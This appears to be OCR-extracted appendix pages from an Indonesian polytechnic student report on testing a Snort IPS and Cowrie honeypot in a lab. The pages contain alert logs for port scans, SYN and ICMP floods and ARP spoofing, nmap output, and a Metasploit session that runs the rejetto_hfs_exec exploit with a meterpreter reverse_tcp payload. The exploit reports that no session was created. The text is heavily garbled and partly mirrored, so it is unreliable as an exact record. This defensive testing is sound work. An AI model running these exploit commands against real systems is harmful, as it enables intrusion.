|ting data* [**] [Priority: 3] {TCP} 192.168.92.1:34138 -> 192.168.92.253:22
07/17-08:06:22.878481 [**] [128:6:1] "(ssh) payload size incorrect for the given
| payload"” [**] [Priority: 3] {TCP} 192.168.92.253:22 -> 192.168.92.1:34174
;6?111-08:13:14.4138?9 [#*] [129:3:1] "(stream tcp) data sent on stream not accep
|ting data® [**] [Priority: 3] {TCP} 192.168.92.1:34130 -> 192.168.92.253:22
|87/17-08:10:14.751960 [*+] [129:3:1] "(stream tcp) data sent on stream not accep
'ting data" [**] [Priority: 3] {TCP} 192.168.92.1:33646 -> 192.168.92.253:22
07/17-08:10:15.040870 [**] [129:3:1] "(stream tcp) data sent on stream not accep
ting data" [**] [Priority: 3] {TCP} 192.168.92.1:34130 -> 192.168.92.253:22
[07/17-08:05:37.331023 [**] [128:6:1] "(ssh) payload size incorrect for the given
payload” [**] [Priority: 3] {TCP} 192.168.92.1:34402 -> 192.168.92.253:22

Dokumentasi Pemindaian Port Snort IPS

PR

07/22-92:58:33.278531 [**] [129:1:1] "(stream tcp) SYM on established session" [
(#*] [Priority: 3] {TCP} 192.168.92.1:41534 -> 192.168.92.253:22
(87/22-82:58:33.272971 [**] [122:4:1] "(port_scan) TCP distributed portscan" [*¥]
| [Priority: 3] {TCP} 192.168.92.1:55838 -> 192.168.92.253:1825

Dokumentasi Pengujian Penetrasi Snort IPS

c | automation-prakerin@automation: ~/git/metasploit-framework Q = X o =

msf6 exploit{windows/http/rejetto_hfs_exec) > set payload windows/meter
preter/reverse_tcp

payload => windows/meterpreter/reverse tcp

msfé exploit(windows/http/rejetto_hfs_exec) > run

-] Import bookmarks...

Started reverse TCP handler on 192.168.91.11:4444

Using URL: http://192.168.91.11:8080/mp6ak0pIBORRIP «

Server started.

Sending a malicious request to /,

Server stopped.

This exploit may require manual cleanup of '%TEMP%\PjwWRxPad.vbs' o

& *

[
[
[
lx
I*
I o
In the target Nrie/var/log/cowrie "
|[*] Exploit completed, but no session was created. l

. ish.f . i HF
msf6é exploit(windows/http/rejetto_hfs_exec) > E actory. CowriessHFa

-.168.92.11:22) [session

—
rity: 3] {ARP} -=
/22-13:19:02.740729 [**] [116:414:1] "(ipv4) IPv4 packet to broadcast dest ad
2ss" [**] [Priority: 3] {UDP} 192.168.92.1:5678 -> 255.255.255.255:5678
/22-13:19:38.777798 [*+*] [112:1:1] “(arp_spoof) unicast ARP request" [**] [Pr
rity: 3] {ARP} ->

/22-13:20:02.734082 [**] [116:414:1] "(ipv4) IPv4 packet to broadcast dest ad
255" [**] [Priority: 3] {UDP} 192.168.92.1:5678 -> 255.255.255.255:5678
/22-13:20:28.238580 [+**] [112:1:1] "(arp_spoof) unicast ARP request" [**] [Pr
rity: 3] {ARP} -=

.85Z [HoneyPotSSHTransport,1422,192.
2.8-Ruby/Net::SSH 7.2.3 xB86 64-1inu
193Z [HoneyPotSSHTransport,1422,192.
irint: 754daB742c6fBc75ae21801elc783
1232 [cowrie.ssh.transport.HoneyPots
shaz-nistp521' key alg=b’'ssh-ed2551
i71Z [cowrie.ssh.transport.HoneyPots
:256-ctr' b'hmac-sha2-512" b'none’

1672 [cowrie.ssh.transport.HoneyPots
i256-ctr’ b'hmac-sha2-512' b'none’

.32Z [cowrie.ssh.transport.HoneyPotS

~13:20:47. B:E pP_1inspec PP
n the path portion of a URI™ [*#*] [Priority: 3] {TCP} 192.168.92.1:38505 ->
.168.92.11:80
22-13:20:47.087024 [**] [119:9:1] "(http_inspect) backslash character appea
n the path portion of a URI"™ [**] [Priority: 3] {TCP} 192.168.92.1:44263 ->
.168.92.11:80
/22-13:21:02.743098 [**] [116:414:1] "(ipv4) IPv4 packet to broadcast dest ad
255" [**] [Priority: 3] {UDP} 192.168.92.1:5678 -=> 255.255.255.255:5678
/22-13:21:17.709318 [**] [112:1:1] "(arp_spoof) unicast ARP request” [**] [Pr
rity: 31 {ARP} -=
/22-13:22:02.737227 [**] [116:414:1] "(ipv4) IPv4 packet to broadcast dest ad

123Z [-] Timeout reached in HoneyPot

i81Z [cowrie.ssh.transport.HoneyPotS

132Z [HoneyPotSSHTransport,1422,192.
‘0 seconds
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Download

wr

C @1

8 UTC

[*] Nmap: Nmap scan report for 192.168.92.11
[*] Nmap: Host is up (©.0013s latency).
[*#] Nmap: Mot shown: 94 closed ports

EJ [*] Nmap: PORT STATE SERVICE

[*] Nmap: 21/tcp open ftp

[*] Nmap: 22/tcp open ssh

[*] Nmap: 23/tcp open telnet

[*] Nmap: 88/tcp open http

[*] Nmap: 5808/tcp open upnp

[*] Nmap: 787@/tcp open realserver

2024-08-22T08:
hassh fingerpr|
2024-08-22Te8:
x alg=b'ecdh-s
2024-08-22Te8:
tgoing: b'aes2
2024-08-22T68:
coming: b'aes2

msf6 exploit(windows/http/rejetto_hfs_exec) >

automation-prakerin@automation: ~[git/metasploit-frame...

Q

msf6 exploit(windows/http/rejetto_hfs_exec) > db nmap -F 192.168.92.

[*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2024-08-22 13:1

x

') unicast ARP reque

Pv4 packet to broad
168.92.1:5678 -> 25

') unicast ARP reque

') unicast ARP reque

168.92.1:5678 -> 25

Pv4 packet to broad
168.92.1:5678 -> 25

[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.16 secondl Pv4 packet to broad

2024-08-22T08 : swwars e

W KEYS “fe8/22-13:10:08.683719 [**] [122:1:1] "(port_scan) TCP portscan" [*
2024-08-22T08:18:17.7999797 [-] Timdl LPriority: 3] {TCP} 192.168.92.1:40084 -> 192.168.92.11:587

2824-08-22T@8:18:17.806979Z [cowrie.
nection lost

2024-08-22T08B:18:17.807594Z [HOneyPu[l__.._"_,_..._.__._._._._“
lost after 120 seconds

-=

: 192.168.92.1:41534 (192.168.92.11:22) [session: e8b2e25d238b]

pection lost

2024-08-22T13:10:08.7012712 [cowrie.ssh.factory.COwriessﬁEactory] New connection

2024-08-22T13:10:08.729795Z [cowrie.ssh.transport.HoneyPotSSHTransport#info] con

2024-08-22T13:10:08.730535Z [HoneyPotSSHTransport,1421,192.168.92.1] Connection

lost after @ seconds

Dokumentasi Pengujian DoS Snort IPS
ICMP Flood

07/18-07:20:09.372622 [**] [116:434:1] "(icmp4)
3] {ICMP} 192.168.92.1 -> 192.168.92.253
07/18-07:20:09.372622 [**] [116:434:1] *(icmp4)
3] {ICMP} 192.168.92.1 -> 192.168.92.253
B7/18-87:20:09.372622 [**] [116:434:1] "(icmp4)
3] {ICMP} 192.168.92.1 -> 192.168.92.253
07/18-07:20:09.372666 [**] [116:434:1] "(icmp4)
3] {ICMP} 192.168.92.1 -> 192.168.92.253
87/18-07:20:09.372666 [+*] [116:434:1] "(icmp4)
3] {ICMP} 192.168.92.1 -> 192.168.92.253
07/18-07:20:09,.372666 [+*] [116:434:1] "(icmp4)
3] {ICMP} 192.168.92.1 -> 192.168.92.253
07/18-07:20:09.372666 [**] [116:434:1] "(icmp4)
3] {ICMP} 192.168.92.1 -> 192.168.92.253
87/18-07:20:09.372666 [++*] [116:434:1]1 "(icmpa)
3] {ICMP} 192.168.92.1 -> 192.168.92.253
07/18-07:20:09.372719 [**] [116:434:1] "(icmp4)
3] {ICMP} 192.168.92.1 -> 192.168.92.253
07/18-07:20:09.372719 [++] [116:434:1] *(icmp4)
3] {ICMP} 192.168.92.1 -> 192.168.92.253
B7/18-87:20:09.372719 [**] [116:434:1] "(icmp4)
3] {ICMP} 192.168.92.1 -> 192.168.92.253
07/18-87:20:09.372719 [**] [116:434:1] "(icmp4)
3] {ICMP} 192.168.92.1 -> 192.168.92.253

ICMP

ICMP

ICMP

ICHMP

ICMP

ICMP

ICMP

ICMP

ICMP

ICMP

ICMP

ICMP

ping
ping
ping
ping
ping
ping
ping
ping
ping
ping
ping

ping

Nmap"
Nmap"
Nmap"
Nmap*"
Nmap"
Nmap"
Nmap*"
Nmap"
Nmap"
Nmap"
Nmap™

Nmap*"

BB/22-13:10:33.720271 [++] [112:1:1] "(arp spoof) Unicasti ARP reque
st" [++] [Priority: 3] {ARP}

View

[*+*]
[**]
[**]
[**]
[**]
[*+#]
[**]
[*+*]
[*+*]
[*++]
[**]
[*+*]

[Priority:
[Priority:
[Priority:
[Priority:
[Priority:
[Priority:
[Priority:
[Priority:
[Priority:
[Priority:
[Priority:

[Priority:
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SYN TCP Flood Port 22

B87/18-86

Priority:
07/18-06:
Priority:
07/18-086:
Priority:
B7/18-86:
Priority:
087/18-06:
Priority:
B7/18-86:
Priority:
07/18-086:
Priority:
07/18-086:
Priority:
B7/18-86:
Priority:
07/18-06:
Priority:
07/18-86:
Priority:
B7/18-086:
Priority:

:39:48.576207 [**]
3] {TCP} 192.168
39:40.576267 [**]
3] {TCP} 132.168
39:40.636383 [**]

39:40,.668330 [**]
3] {TCP} 192.168
39:40.668330 [**]

39:48.732307 [**]

39:40.832474 [**]
3] {TCP} 192.168
39:40.832474 [**]

39:468.956407 [*+*]
3] {TCP} 192.168
39:40.956407 [**]
3] {TCP} 192.168
39:40.992315 [**]

39:40.992315 [**]
3] {TCP} 192.168

3] {TCP} 192.168.

3] {TCP} 192.168.

3] {TCP} 192.168.

3] {TCP} 192.168.
.92.1
.92.1
3] {TCP} 192.168.

.92.1

[129:

.92.1:

[129:

.92.1:

[129:
92.1
[129:

.92.1:

[129:
92.1
[129:
92.1:
[129:

.92.1:

[129:
92.1:
[129:

[129:
[129:

92.1
[129:

15:1]
208932
15:1]
20423
15:1]

: 24833

15:1]
26216
15:1)

126075

15:1]
29113
15:1]
56831
15:1]
33749
15:1]

162975

15:1]

162259

15:1]

: 42560

15:1]

142431

“{stream tcp)
-> 192.168.92
"{stream tcp)
-= 192,168.92
“{stream tcp)
-> 192.168.92
"(stream tcp)
-> 192.168.92
"{stream tcp)
-» 192.168.92
“{stream tcp)
-> 192.168.92
"({stream tcp)
-> 192.168.92
"{stream tcp)
-> 192.168.92
“{stream tcp)
-> 192.168.92
"{stream tcp)
-» 192.168.92
“{stream tcp)
-» 192.168.92
"{stream tcp)
-> 192.168.92

reset outside

.253:22

reset outside

.253:22

reset outside

.253:22

reset outside

.253:22

reset outside

.253:22

reset outside

.253:22

reset outside

.253:22

reset outside

.253:22

reset outside

.253:22

reset outside

.253:22

reset outside

.253:22

reset outside

.253:22

window"

window"

window"

window"

window"

window"

window"

window"

window"

window"

window"

window"

[*+]
[**]
[#+]
[*+]
[**]
[#+]
[**]
[**]
[*+]
[**]
[**]
[**]

SYN TCP Flood Port 80

B7/18-086

Priority:
07/18-06:
Priority:
07/18-086:
Priority:
07,/18-06:
Priority:
67/18-06:
Priority:
07/18-06:
Priority:
07/18-06:
Priority:
07/18-06:
Priority:
07/18-06:
Priority:
07/18-06:
Priority:
07/18-086:
Priority:
07,/18-06:
Priority:

:51:50.460473 [**]
3] {TCP} 192.168
51:58.556569 [++¥]
3] {TCP} 192.168
51:58.556569 [**]
3] {TCP} 192.168
51:508.5565780 [**]

51:58.556570 [*+¥]
3] {TCP} 192.168
51:58.556578 [**]
3] {TCP} 192.168
51:58.588251 [**]
3] {TCP} 192.168
51:58.588251 [**]
3] {TCP} 192.168
51:508.684349 [**]
3] {TCP} 192.168
51:58.876427 [*+¥]

51:50.876427 [**]
3] {TCP} 192.168
51:50.944258 [*+*]
3] {TCP} 192.168

.92.1
.92.1
3] {TCP} 192.168.
.92.1
.92.1
.92.1
.92.1
.92.1

3] {TCP} 1%8z.168.

[129:

.92.1:

[129:
[129:
[129:
92.1
[129:
[129:
[129:
[129:
[129:
[129:

92.1:
[129:

.92.1:

[129:

.92.1:

15:1]
38378
15:1]

141755

15:1]

142807

15:11]

142241

15:1]

141903

15:1]

:42889

15:1]

143626

15:1]

143966

15:11]

:47943

15:1]
53896
15:1]
53898
15:11]
56133

"{stream tecp)
-» 192.168.92
"{stream tcp)
-> 192.168.92
“{stream tcp)
-> 192.168.92
"{stream_tcp)
-> 192.168.92
"{stream_tcp)
-> 192.168.92
“{stream tcp)
-= 192.168.92
"{stream tcp)
-> 192.168.92
"{stream_tcp)
-> 192.168.92
“{stream tcp)
-» 192.168.92
"{stream tcp)
-> 192.168.92
“{stream tcp)
-> 192.168.92
"{stream_tcp)
-> 192.168.92

reset outside

.253:860

reset outside

.253:80

reset outside

.253:80

reset outside

.253:80

reset outside

.253:80

reset outside

.253:88

reset outside

.253:80

reset outside

.253:80

reset outside

.253:860

reset outside

.253:80

reset outside

.253:80

reset outside

.253:80

window"

window"

window"

window"

window"

window"

window"

window"

window"

window"

window"

window"

[**]
[**]
[**]
[**]
[**]
[**]
[**]
[**]
[**]
[**]
[**]
[**]

73

Politeknik Negeri Jakarta



eyiexer 1aBaN NIW(H0d uiz) eduey

11N} ef1e)] Yynanjas neje ueibeqas yelueqladwaw uep ueywnwnbusw bueieq ‘z
epieyer Luabap Kyiuyeljod sefem Bued uebunuaday ueyibniaw yepn uednbuad 'q

‘yejesew njens uenefun neje yiiay uesiinuad ‘uerode] uesijnuad ‘Yelwy eAiey uesijnuad / uenijsuad ‘ueyipipuad uebunuaday ynjun eAuey uednnbuay ‘e

undede ynjuaq wejep

Jaquns ueyingakuaw uep ueywnjuesuaw eduey jul sijn) e£1ey Yyninjas neje ueibeqas dinbuaw buese|iqg ‘|

eydid yeH

ul'! 1] " Y
- THelle T T WU il Bl B

eyeyer uaba yiwjau|o,

SYN TCP Flood Port 0

07/18-86:36:11.015427 [*+] [116:446:1] "(tcp) TCP port
: 3] {TCP} 192.168.92.253:0 -> 192.168.92.1:48493
07/18-06:36:11.015456 [**] [116:446:1] "(tcp) TCP port
: 3] {TCP} 192.168.92.1:48514 -> 192.168.92.253:0
07/18-06:36:11.015456 [**] [116:446:1] “(tcp) TCP port
: 3] {TCP} 192.168.91.11:48495 -> 192.168.92.253:0
07/18-86:36:11.015463 [++] [116:446:1] "(tcp) TCP port
: 3] {TCP} 192.168.92.253:0 -> 192.168.92.1:48514
07/18-06:36:11.015471 [**] [116:446:1] "(tcp) TCP port
: 3] {TCP} 192.168.92.253:0 -> 192.168.91.11:48495

97/18-06:36:11.015481 [**] [116:446:1] "(tcp) TCP port
: 3] {TCP} 192.168.92.1:48516 -> 192.168.92.253:0
07/18-086:36:11.015481 [**] [116:446:1] "(tcp) TCP port
: 3] {TCP} 192.168.92.1:48497 -= 192.168.92.253:0
07/18-06:36:11.015486 [*+*] [116:446:1] "(tcp) TCP port
: 3] {TCP} 192.168.92.253:0 -> 192.168.92.1:48516
087/18-86:36:11.015494 [++] [116:446:1] "(tcp) TCP port
: 3] {TCP} 192.168.92.253:0 -> 192.168.92.1:48497
97/18-86:36:11.015514 [*+] [116:446:1] "(tcp) TCP port

: 3] {TCP} 192.168.91.11:48499 -> 192.168.92.253:0
97/18-06:36:11.015514 [**] [116:446:1] “(tcp) TCP port
: 3] {TCP} 192.168.91.11:48518 -= 192.168.92.253:0

©7/18-86:36:11.015521 [**] [116:446:1] "(tcp) TCP port
: 3] {TCP} 192.168.92.253:8 -> 192,168.91.11:48499

Statistik Paket Log

Packet Statistics

ssh

NEGERI

traffic"
traffic"
traffic"
traffic"
traffic”
traffic"
traffic”
traffic"
traffic"
traffic"
traffic"

traffic”
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Statistik Paket Log Snort Do

DoS TCP SYN TCP Flood

Packet Statistics
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[+*]
[#%]
[**]
[**]
[**]
[**]
[**]
[**]
[+*]
[#%]
[**]
[**]

[Priority
[Priority
[Priority
[Priority
[Priority
[Priority
[Priority
[Priority

[Priority

[Priority
[Priority

[Priority
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packets: 37494550
dropped: 34049709

allowed: 344804

packets: 3
allowed: 3

DoS TCP ICMP Flooo

dag

Hak Cipta:

1. Dilarang mengutip sebagian atau seluruh karya tulis ini tanpa mencantumkan dan menyebutkan sumber:
a. Pengutipan hanya untuk kepentingan pendidikan, penelitian , penulisan karya ilmiah, penulisan laporan, penulisan kritik atau tinjauan suatu masalah.
b. Pengutipan tidak merugikan kepentingan yang wajar Politeknik Negeri Jakarta

2. Dilarang mengumumkan dan memperbanyak sebagian atau seluruh karya tulis ini dalam bentuk apapun
tanpa izin Politeknik Negeri Jakarta




